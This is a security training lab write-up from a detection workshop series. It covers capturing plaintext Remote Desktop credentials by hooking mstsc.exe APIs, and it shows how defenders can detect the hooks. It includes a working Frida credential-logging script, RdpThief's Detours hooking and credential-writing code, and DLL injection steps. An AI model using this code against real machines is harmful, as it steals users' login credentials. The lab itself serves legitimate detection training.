Attack Detection Fundamentals 2021: Windows - Lab #3

In the first part of F-Secure Consulting's Attack Detection Fundamentals workshop series for 2021, we covered advanced defense evasion and credential access techniques targeting Windows endpoints. This included the offensive and defensive use of API hooking, as well as the theft of cookies to enabled 'session hijacking'.

A recording of the first workshop can be found here and the slides are available here.

In the previous lab - guides available here and here - we developed an initial access payload that explored several defensive (and offensive) concepts. Amongst others, we observed AMSI blocking our Covenant Grunt shellcode, Sysmon logging a CreateRemoteThread event (EID 8), and we emulated an EDR using userland API hooks with Frida. This last concept leads us neatly into our next lab.

One of the core parts of an offensive operation is the post exploitation phase. Post exploitation is a broad term that includes all the attacker's actions that are performed after an initial foothold is obtained. Whilst discussing all the post exploitation activities goes beyond the scope of this lab guide, it is possible to refer back to Mitre's ATT&CK Matrix to have a more comprehensive view of the topic. 

For this lab, we'll turn the tables on the defensive use of API hooking and apply the same principles in an offensive post exploitation context. We'll target a user authenticating to a host using Remote Desktop, and hook the functions that provide us with their plaintext credentials.

API hooking is a concept that was already discussed in the workshops and in the first lab of this series, but in a nutshell we could describe it as a technique used to intercept API calls and perform additional tasks before and after its execution. Examples of use cases for API hooking:

  • Extending an application's functionalities without the need for accessing its source code.
  • Monitoring of dangerous APIs being used for malicious purposes.
  • Something nasty we are just about to see.

For lab two, we're going to demonstrate API hooking leveraging some great research published by MDSec, with their tool RdpThief

Required Tools

DISCLAMER: Set up of the tools and the testing environment is not covered comprehensively within this lab. We will assume basic familiarity with Windows command line and the ability of the reader to build the necessary tools.

Walkthrough

Our objective for this lab is not to blindly run a tool, but rather show a methodology and the thought process of both the offensive and the defensive side of the attack. The first step then, is to discern if cleartext credentials are actually being passed by the RDP client when connecting (imagining that we didn't already know the outcome of the MDSec research!).

Let's start the RDP client, or "mstsc.exe", and start monitoring its API using API Monitor:

API Monitor


The tricky part about API monitor is that you need to explicitly select the APIs, or classes of APIs, that you want to monitor. A good general approach would be to start including APIs relative to network, security and administration.

Now let's attempt to log in using invalid credentials:

Credential Window

Of course the credentials did not work, but if we go back to API monitor we will see that it captured some data:

Authentication Info in API Calls

From an attacker's perspective, we are interested in knowing the following:

  • The server the victim tried to connect to.
  • The username used.
  • The password.

API Monitor offers a handy search feature that will inspect all the intercepted data and show us the functions of interest. By either using that, or manually inspecting the captured API data, we can immediately notice that the remote server's IP is being passed as a second argument to the 'SspiPrepareForCredRead' function:

Target RDP host in API Monitor

The username was passed as the only argument to the 'CredIsMarshaledCredentialW' function:

Username for target RDP host in API Monitor

And finally, the cleartext password was indeed passed to the 'CryptProtectMemory' API:

Password for target RDP host in API Monitor

Proof-Of-Concept

Now that we know what to look for, we could whip up a proof-of-concept. In the first lab, we saw how Frida could be used to log the calling of APIs of interest (that time it was our 'NtCreateThreadEx' call from mshta.exe). We can make use of it here to pull out the credential material provided when authenticating to our remote host.

To demonstrate just a small amount of the huge capability that Frida provides, we will actually hook a slightly different set of APIs. Our 'SspiPrepareForCredRead' function from Sspicli.dll just as before, but this time we will hook 'CredUnPackAuthenticationBufferW' from Credui.dll too. As its name suggests, this latter function unpacks the user credentials entered into the login window seen above, once a user opts to initiate the RDP connection to their target host.

FuzzySecurity already has an example Frida script for just this purpose in the example scripts of their Fermion tool repo here. Tweaking it ever so slightly for more readable log output, we can use this script to hook our APIs and extract the output we're after:

//--------------------------------------------------------------------------------------------------------------//
// RDP credential theft, adapted from research by @0x09AL //
// URL: https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/ //
//--------------------------------------------------------------------------------------------------------------//

// Native function pointer
var pSspiPrepareForCredRead = Module.findExportByName("SspiCli.dll", 'SspiPrepareForCredRead')
var pCredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", 'CredUnPackAuthenticationBufferW')

// Globals
var sTargetHost;

// This function is called any time the target is updated and when clicking
// on connect. We are only interested in the last value that was set before
// calling Credui!CredUnPackAuthenticationBufferW.
// => https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-sspiprepareforcredread
Interceptor.attach(pSspiPrepareForCredRead, {
onEnter: function (args) {
// Update global when the function is called
sTargetHost = args[1].readUtf16String();
}
});

// This function is only called when the user finally tries to initiate the
// connection to the server.
// => https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credunpackauthenticationbufferw
Interceptor.attach(pCredUnPackAuthenticationBufferW, {
onEnter: function (args) {
// Save ptr's to poll data in onLeave
this.pszUserName = args[3];
this.pszPassword = args[7];
},
onLeave: function (retval) {
console.log("\n|-------");
console.log("| Server : " + sTargetHost);
console.log("| User : " + this.pszUserName.readUtf16String());
console.log("| Pass : " + this.pszPassword.readUtf16String());
console.log("|-------");
}
});

With our script ready, we can hook a running 'mstsc.exe' process and provide our script as an argument.

frida -n mstsc.exe -l [hooking_script].js

We mentioned in the workshop how EDR's implement API hooking through the loading of their DLL, and if we fire up Process Hacker and take a look at our 'mstsc.exe' process, we can see the same behaviour from Frida as it 'attaches' to our target process to implement the hooks we've specified.

frida DLL

With Frida set up, when we authenticate, we should see the target host, username and password outputted in the console.

frida rdp hook

Weaponisation

So how do we take the concepts we've seen up to now and turn it into something that is more likely to be observed in a legitimate attack? There are multiple ways of intercepting APIs, however the most popular is called "inline hooking". Inline hooking is a technique where the first bytes of a function are overwritten with a jump to another module (DLL) that can then inspect the parameters passed to the function and eventually restore the execution flow. Inspection of the parameters is achieved in different ways depending on the architecture of the process (x64 vs x86), since in 32 bit processes arguments (in assembler) are passed exclusively using the stack whilst in 64 bit applications it's done by a combination of registers and stack.

Luckily we do not need to go that deep to implement hooking, since we can rely on the hard work done to build the Detours library that we will use to accomplish this. The library simply abstracts the creation of hooks and allows us to use a higher level language such as C++ to create API hooks. We will not write the hooking code from scratch, but rather rely on Rio's RdpThief work.

Let's clone and build the solution in Visual Studio:

Build RDPThief

RdpThief's code is extremely simple and easy to read. We can see that the core function that gets executed when the DLL is loaded is the following:

if (DetourIsHelperProcess()) {
return TRUE;
}

if (dwReason == DLL_PROCESS_ATTACH) {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalCryptProtectMemory, _CryptProtectMemory);
DetourAttach(&(PVOID&)OriginalCredIsMarshaledCredentialW, _CredIsMarshaledCredentialW);
DetourAttach(&(PVOID&)OriginalSspiPrepareForCredRead, _SspiPrepareForCredRead);
DetourTransactionCommit();
}
else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalCryptProtectMemory, _CryptProtectMemory);
DetourDetach(&(PVOID&)OriginalCredIsMarshaledCredentialW, _CredIsMarshaledCredentialW);
DetourDetach(&(PVOID&)OriginalSspiPrepareForCredRead, _SspiPrepareForCredRead);
DetourTransactionCommit();
}
return TRUE;

Notice that the 'DetourAttach' function is responsible for installing the hooks. As an example, the line:

DetourAttach(&(PVOID&)OriginalCryptProtectMemory, _CryptProtectMemory);

This can effectively be interpreted as: "Attach a hook to the OriginalCryptProtectMemory function and divert it to my _CryptProtectMemory custom procedure".

Where 'OriginalCryptProtectMemory' is the address of the original 'CryptProtectMemory' and '_CryptProtectMemory ' is the function that we created, that will save the relevant parameter for later inspection and restore execution to the original function.

We can see for example the '_SspiPrepareForCredRead' function's body:

SECURITY_STATUS _SspiPrepareForCredRead(
PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity,
PCWSTR pszTargetName,
PULONG pCredmanCredentialType,
PCWSTR *ppszCredmanTargetName)
{
lpServer = pszTargetName;
return OriginalSspiPrepareForCredRead(AuthIdentity, pszTargetName, pCredmanCredentialType, ppszCredmanTargetName);
}

The only thing it does is save the address of the remote server ('pszTargetName') and call the original function. The data is then written on disk within the user's '%TEMP%' folder:

VOID WriteCredentials() {
const DWORD cbBuffer = 1024;
TCHAR TempFolder[MAX_PATH];
GetEnvironmentVariable(L"TEMP", TempFolder, MAX_PATH);
TCHAR Path[MAX_PATH];
StringCbPrintf(Path, MAX_PATH, L"%s\\data.bin", TempFolder);
HANDLE hFile = CreateFile(Path, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WCHAR DataBuffer[cbBuffer];
memset(DataBuffer, 0x00, cbBuffer);
DWORD dwBytesWritten = 0;
StringCbPrintf(DataBuffer, cbBuffer, L"Server: %s\nUsername: %s\nPassword: %s\n\n",lpServer, lpUsername, lpTempPassword);

WriteFile(hFile, DataBuffer, wcslen(DataBuffer)*2, &dwBytesWritten, NULL);
CloseHandle(hFile);
}

We can test it by loading the compiled DLL (the architecture need to match the 'mstsc' one, usually 64 bit on modern systems) with Process Hacker:

  • Select 'mstsc'
  • Right-click -> Miscellaneous -> Inject DLL
  • Select 'RdpThief.dll'

Just as with Frida, you should see the DLL listed in the 'Modules' section within Process Hacker:

Loaded RdpThief DLL

Authenticating to a remote host, you should be able to see your cleartext credentials stored in a file called 'data.bin' within the %TEMP% folder. Cool eh?

The attack doesn't actually stop here, since from an operational perspective it would be better to have shellcode, rather than a DLL that needs to be dropped on disk. The research author used the sRDI project to accomplish that, but we will leave that as an exercise to the reader.

Detection

Hooking leaves traces behind, one of them is the fact that we modified the code of the functions that we wanted to intercept. Within Windows, every process refers to the same address when accessing a DLL. However, when a DLL is modified just for one process Windows transparently copies the code of the modified DLL and allows the program to do basically anything with it. This mechanism is called "Write on copy".

Let's use an open source memory scanner to analyse our 'mstsc' process. We will use 'Pe-Sieve' for this:

.\pe-sieve64.exe /pid 5856
Scanning workingset: 895 memory regions.
[*] Workingset scanned in 375 ms
[+] Report dumped to: process_5856
[*] Dumped module to: C:\Users\Developer\Desktop\Tools\\process_5856\7ff987be0000.advapi32.dll as UNMAPPED
[*] Dumped module to: C:\Users\Developer\Desktop\Tools\\process_5856\7ff978400000.RdpThief.dll as UNMAPPED
[+] Dumped modified to: process_5856
[+] Report dumped to: process_5856
---
PID: 5856
---
SUMMARY:

Total scanned: 117
Skipped: 0
-
Hooked: 2
Replaced: 0
Hdrs Modified: 0
IAT Hooks: 0
Implanted: 0
Unreachable files: 0
Other: 0
-
Total suspicious: 2
---

As we can see, some functions were detected as "patched". Pe-Sieve is kind enough to dump the suspicious DLLs to disk. We can confirm that the DLL - 'advapi32' in this case - was indeed patched, by opening it with IDA and looking for the 'CredIsMarshaledCredentialW' function:

IDA Hook

We can see that the function's body contains only a jump to a foreign module, if we refer back to the screenshot that showed RdpThief being loaded in the RDP client we can see that that address belongs to 'RdpThief.dll'.

The approach we used is rather manual and tedious and not suitable for automated detection. It might be possible for security products to achieve this though, as they can scan the process memory at scale. However, in certain situations it might be possible to automate part of the detection process. Specifically:

  • If the malicious DLL gets loaded using DLL injection, the DLL will reside on disk and 'mstsc' loading it will generate a module load event (Sysmon Event ID 7). The RDP client rarely loads an unsigned DLL from disk, if ever.
  • If the malicious DLL uses .NET, like FuzzySecurity's RemoteViewing, 'mstsc' will also load the CLR ('clr.dll'). The RDP client does not normally use .NET and therefore this should be marked as suspicious.

Dodgy .NET in Mstsc.exe

Conclusions

In this lab we've applied the concept of API hooking to post-exploitation, compromising credential material as a user authenticates to a remote host using RDP. We've seen an initial proof-of-concept of this, both manually within API Monitor, and subsequently in a similar way using Frida. Finally, we looked at MDSec's RdpThief, which operationalises the concepts we explored.

From a detection perspective, we observed how hooks installed within DLLs can be detected due to Windows's "write on copy" mechanism, demonstrated by a scan from Pe-Sieve. We took this a step further and loaded one of the patched DLLs dumped by Pe-Sieve into IDA to identify the "jmp" instruction which introduces our hook functionality.

Finally, we considered other implementations of the RDP authentication-hooking process, and how these could be picked up by module loads, or the anomalous loading of the .NET CLR.

Join us for our final lab of the Windows workshop, as we explore cookie theft using Rich Warren's Chlonium project!